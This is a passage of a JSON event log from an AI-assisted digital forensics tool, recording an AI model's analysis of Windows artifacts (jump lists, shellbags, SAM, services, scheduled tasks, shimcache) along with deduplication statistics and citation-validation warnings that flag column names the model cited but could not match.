      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "WebCacheV01.dat",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "size",
      "match_status": "exact",
      "matched_header": "size"
    },
    {
      "cited": "state",
      "match_status": "exact",
      "matched_header": "state"
    },
    {
      "cited": "ts_start",
      "match_status": "exact",
      "matched_header": "ts_start"
    }
  ],
  "warning_count": 5,
  "warnings": [
    "Note: AI cited timestamp 2026-06-13 which could not be verified in the source data.",
    "Note: AI cited column 'administrator.shieldbase' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'rsydow' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'iexplore' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'WebCacheV01.dat' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:09:53.332Z analysis_started
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:09:53.338Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__jumplist.automatic_destination.csv",
  "artifact_key": "jumplist.automatic_destination",
  "projection_columns": [
    "type",
    "application_name",
    "lnk_name",
    "lnk_full_path",
    "lnk_arguments",
    "local_base_path",
    "common_path_suffix",
    "lnk_path",
    "lnk_workdir",
    "lnk_net_name",
    "lnk_device_name",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/jumplist.automatic_destination.csv"
}
2026-06-13T07:09:53.341Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__jumplist.automatic_destination.csv",
  "annotated_rows": 0,
  "artifact_key": "jumplist.automatic_destination",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/jumplist.automatic_destination.csv",
  "variant_columns": [
    "lnk_arguments",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime"
  ]
}
2026-06-13T07:12:32.079Z analysis_completed
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "duration_seconds": 158.74409,
  "status": "success",
  "token_count": 1106
}
2026-06-13T07:12:32.085Z citation_validation
{
  "artifact_key": "jumplist.automatic_destination",
  "citation_counts": {
    "columns": {
      "checked": 9,
      "skipped": 0,
      "total": 9
    },
    "row_refs": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "timestamps": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "application_name",
      "match_status": "exact",
      "matched_header": "application_name"
    },
    {
      "cited": "lnk_name",
      "match_status": "exact",
      "matched_header": "lnk_name"
    },
    {
      "cited": "lnk_arguments",
      "match_status": "exact",
      "matched_header": "lnk_arguments"
    },
    {
      "cited": "lnk_mtime",
      "match_status": "exact",
      "matched_header": "lnk_mtime"
    },
    {
      "cited": "username",
      "match_status": "exact",
      "matched_header": "username"
    },
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "lnk_net_name",
      "match_status": "exact",
      "matched_header": "lnk_net_name"
    },
    {
      "cited": "lnk_device_name",
      "match_status": "exact",
      "matched_header": "lnk_device_name"
    },
    {
      "cited": "common_path_suffix",
      "match_status": "exact",
      "matched_header": "common_path_suffix"
    }
  ],
  "warning_count": 1,
  "warnings": [
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:12:32.089Z analysis_started
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:12:32.094Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__jumplist.custom_destination.csv",
  "artifact_key": "jumplist.custom_destination",
  "projection_columns": [
    "type",
    "application_name",
    "lnk_name",
    "lnk_full_path",
    "lnk_arguments",
    "local_base_path",
    "common_path_suffix",
    "lnk_path",
    "lnk_workdir",
    "lnk_net_name",
    "lnk_device_name",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/jumplist.custom_destination.csv"
}
2026-06-13T07:12:32.097Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__jumplist.custom_destination.csv",
  "annotated_rows": 6,
  "artifact_key": "jumplist.custom_destination",
  "removed_records": 9,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/jumplist.custom_destination.csv",
  "variant_columns": [
    "lnk_arguments",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime"
  ]
}
2026-06-13T07:13:23.849Z analysis_completed
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "duration_seconds": 51.756555,
  "status": "success",
  "token_count": 416
}
2026-06-13T07:13:23.852Z citation_validation
{
  "artifact_key": "jumplist.custom_destination",
  "citation_counts": {
    "columns": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "customDestinations",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "AutomaticDestinations",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "lnk_arguments",
      "match_status": "exact",
      "matched_header": "lnk_arguments"
    },
    {
      "cited": "lnk_mtime",
      "match_status": "exact",
      "matched_header": "lnk_mtime"
    },
    {
      "cited": "lnk_atime",
      "match_status": "exact",
      "matched_header": "lnk_atime"
    },
    {
      "cited": "lnk_ctime",
      "match_status": "exact",
      "matched_header": "lnk_ctime"
    },
    {
      "cited": "lnk_net_name",
      "match_status": "exact",
      "matched_header": "lnk_net_name"
    },
    {
      "cited": "lnk_device_name",
      "match_status": "exact",
      "matched_header": "lnk_device_name"
    }
  ],
  "warning_count": 2,
  "warnings": [
    "Note: AI cited column 'customDestinations' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'AutomaticDestinations' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:13:23.857Z analysis_started
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:13:23.893Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__shellbags.csv",
  "artifact_key": "shellbags",
  "projection_columns": [
    "ts_mtime",
    "ts_atime",
    "ts_btime",
    "type",
    "path",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/shellbags.csv"
}
2026-06-13T07:13:23.896Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__shellbags.csv",
  "annotated_rows": 34,
  "artifact_key": "shellbags",
  "removed_records": 45,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/shellbags.csv",
  "variant_columns": [
    "ts_mtime",
    "ts_atime",
    "ts_btime"
  ]
}
2026-06-13T07:15:45.500Z analysis_completed
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "duration_seconds": 141.61787,
  "status": "success",
  "token_count": 1865
}
2026-06-13T07:15:45.507Z citation_validation
{
  "artifact_key": "shellbags",
  "citation_counts": {
    "columns": {
      "checked": 23,
      "skipped": 0,
      "total": 23
    },
    "row_refs": {
      "checked": 20,
      "skipped": 0,
      "total": 20
    },
    "timestamps": {
      "checked": 13,
      "skipped": 0,
      "total": 13
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Windows",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "System32",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SysWOW64",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Temp",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Logs",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "RegBack",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SAM",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SECURITY",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SYSTEM",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 20,
  "warnings": [
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Windows' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'System32' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SysWOW64' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Temp' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Logs' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'RegBack' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SAM' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SECURITY' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SYSTEM' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:15:45.511Z analysis_started
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:15:45.515Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__sam.csv",
  "artifact_key": "sam",
  "projection_columns": [
    "ts",
    "rid",
    "username",
    "fullname",
    "admincomment",
    "usercomment",
    "lastlogin",
    "lastpasswordset",
    "lastincorrectlogin",
    "failedlogins",
    "logins",
    "flags",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/sam.csv"
}
2026-06-13T07:15:45.518Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__sam.csv",
  "annotated_rows": 4,
  "artifact_key": "sam",
  "removed_records": 4,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/sam.csv",
  "variant_columns": [
    "ts",
    "lastlogin",
    "lastpasswordset",
    "lastincorrectlogin"
  ]
}
2026-06-13T07:20:48.596Z analysis_completed
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "duration_seconds": 303.082526,
  "status": "success",
  "token_count": 492
}
2026-06-13T07:20:48.599Z citation_validation
{
  "artifact_key": "sam",
  "citation_counts": {
    "columns": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "row_refs": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
  "citation_validation": "checked",
  "warning_count": 0,
  "warnings": []
}
2026-06-13T07:20:48.602Z analysis_started
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:20:48.607Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__network_history.csv",
  "artifact_key": "network_history",
  "projection_columns": [
    "created",
    "last_connected",
    "profile_name",
    "description",
    "dns_suffix",
    "first_network",
    "default_gateway_mac",
    "signature",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/network_history.csv"
}
2026-06-13T07:20:48.611Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__network_history.csv",
  "annotated_rows": 3,
  "artifact_key": "network_history",
  "removed_records": 3,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/network_history.csv",
  "variant_columns": [
    "created",
    "last_connected",
    "first_network"
  ]
}
2026-06-13T07:21:26.001Z analysis_completed
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "duration_seconds": 37.395326,
  "status": "success",
  "token_count": 475
}
2026-06-13T07:21:26.004Z citation_validation
{
  "artifact_key": "network_history",
  "citation_counts": {
    "columns": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "row_refs": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "timestamps": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "shieldbase.lan",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "last_connected",
      "match_status": "exact",
      "matched_header": "last_connected"
    },
    {
      "cited": "default_gateway_mac",
      "match_status": "exact",
      "matched_header": "default_gateway_mac"
    }
  ],
  "warning_count": 1,
  "warnings": [
    "Note: AI cited column 'shieldbase.lan' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:21:26.007Z analysis_started
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:21:26.011Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__runkeys.csv",
  "artifact_key": "runkeys",
  "projection_columns": [
    "ts",
    "name",
    "command",
    "key",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/runkeys.csv"
}
2026-06-13T07:21:26.014Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__runkeys.csv",
  "annotated_rows": 0,
  "artifact_key": "runkeys",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/runkeys.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T07:22:49.223Z analysis_completed
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "duration_seconds": 83.213502,
  "status": "success",
  "token_count": 1185
}
2026-06-13T07:22:49.227Z citation_validation
{
  "artifact_key": "runkeys",
  "citation_counts": {
    "columns": {
      "checked": 9,
      "skipped": 0,
      "total": 9
    },
    "row_refs": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    },
    "timestamps": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "administrator.shieldbase",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "LocalService",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "NetworkService",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "OneDriveSetup.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Dashlane",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "tdungan",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "DashlanePlugin",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "RegBack",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 9,
  "warnings": [
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'administrator.shieldbase' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'LocalService' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'NetworkService' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'OneDriveSetup.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Dashlane' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'tdungan' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'DashlanePlugin' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'RegBack' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:22:49.230Z analysis_started
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:22:51.056Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__tasks.csv",
  "artifact_key": "tasks",
  "projection_columns": [
    "task_path",
    "uri",
    "date",
    "last_run_date",
    "author",
    "task_name",
    "display_name",
    "enabled",
    "hidden",
    "user_id",
    "run_as",
    "logon_type",
    "group_id",
    "run_level",
    "action_type",
    "action",
    "command",
    "arguments",
    "args",
    "working_directory",
    "start_in",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/tasks.csv"
}
2026-06-13T07:22:51.457Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__tasks.csv",
  "annotated_rows": 257,
  "artifact_key": "tasks",
  "removed_records": 343,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/tasks.csv",
  "variant_columns": [
    "date",
    "last_run_date",
    "arguments"
  ]
}
2026-06-13T07:26:04.478Z analysis_completed
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "duration_seconds": 195.244816,
  "status": "success",
  "token_count": 911
}
2026-06-13T07:26:04.486Z citation_validation
{
  "artifact_key": "tasks",
  "citation_counts": {
    "columns": {
      "checked": 11,
      "skipped": 0,
      "total": 11
    },
    "row_refs": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "timestamps": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "True",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Exec",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "CreateExplorerShellUnelevatedTask",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Explorer.EXE",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ExplorerShellUnelevated",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "last_run_date",
      "match_status": "exact",
      "matched_header": "last_run_date"
    },
    {
      "cited": "date",
      "match_status": "exact",
      "matched_header": "date"
    },
    {
      "cited": "action_type",
      "match_status": "exact",
      "matched_header": "action_type"
    },
    {
      "cited": "ComHandler",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "action",
      "match_status": "exact",
      "matched_header": "action"
    }
  ],
  "warning_count": 6,
  "warnings": [
    "Note: AI cited column 'True' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Exec' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'CreateExplorerShellUnelevatedTask' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Explorer.EXE' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'ExplorerShellUnelevated' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'ComHandler' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:26:04.490Z analysis_started
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:26:04.522Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__services.csv",
  "artifact_key": "services",
  "projection_columns": [
    "ts",
    "name",
    "displayname",
    "description",
    "servicedll",
    "imagepath",
    "imagepath_args",
    "objectname",
    "start",
    "type"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/services.csv"
}
2026-06-13T07:26:04.525Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__services.csv",
  "annotated_rows": 0,
  "artifact_key": "services",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/services.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T07:28:19.074Z analysis_completed
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "duration_seconds": 134.581024,
  "status": "success",
  "token_count": 1545
}
2026-06-13T07:28:19.086Z citation_validation
{
  "artifact_key": "services",
  "citation_counts": {
    "columns": {
      "checked": 15,
      "skipped": 0,
      "total": 15
    },
    "row_refs": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "timestamps": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "mnemosyne",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "LocalSystem",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "npf",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mfeavfk01",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "imagepath",
      "match_status": "exact",
      "matched_header": "imagepath"
    },
    {
      "cited": "description",
      "match_status": "exact",
      "matched_header": "description"
    },
    {
      "cited": "objectname",
      "match_status": "exact",
      "matched_header": "objectname"
    },
    {
      "cited": "servicedll",
      "match_status": "exact",
      "matched_header": "servicedll"
    },
    {
      "cited": "mfeavfk",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mfeavfk01.sys",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 10,
  "warnings": [
    "Note: AI cited column 'mnemosyne' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'LocalSystem' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'npf' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mfeavfk01' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mfeavfk' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mfeavfk01.sys' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Mnemosyne.sys' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'subject_srv.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'npf.sys' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'FailureActions' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:28:19.094Z analysis_started
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:28:19.135Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__shimcache.csv",
  "artifact_key": "shimcache",
  "projection_columns": [
    "last_modified",
    "index",
    "name",
    "path"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/shimcache.csv"
}
2026-06-13T07:28:19.138Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__shimcache.csv",
  "annotated_rows": 0,
  "artifact_key": "shimcache",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/shimcache.csv",
  "variant_columns": [
    "last_modified",
    "index"
  ]
}
2026-06-13T07:31:27.483Z analysis_completed
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "duration_seconds": 188.384093,
  "status": "success",
  "token_count": 1992
}
2026-06-13T07:31:27.508Z citation_validation
{
  "artifact_key": "shimcache",
  "citation_counts": {
    "columns": {
      "checked": 14,
      "skipped": 0,
      "total": 14
    },
    "row_refs": {
      "checked": 25,
      "skipped": 0,
      "total": 25
    },
    "timestamps": {
      "checked": 19,
      "skipped": 0,
      "total": 19
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "csrss.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "volrest.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ri.exe",
      "match_status": "unverifiable",
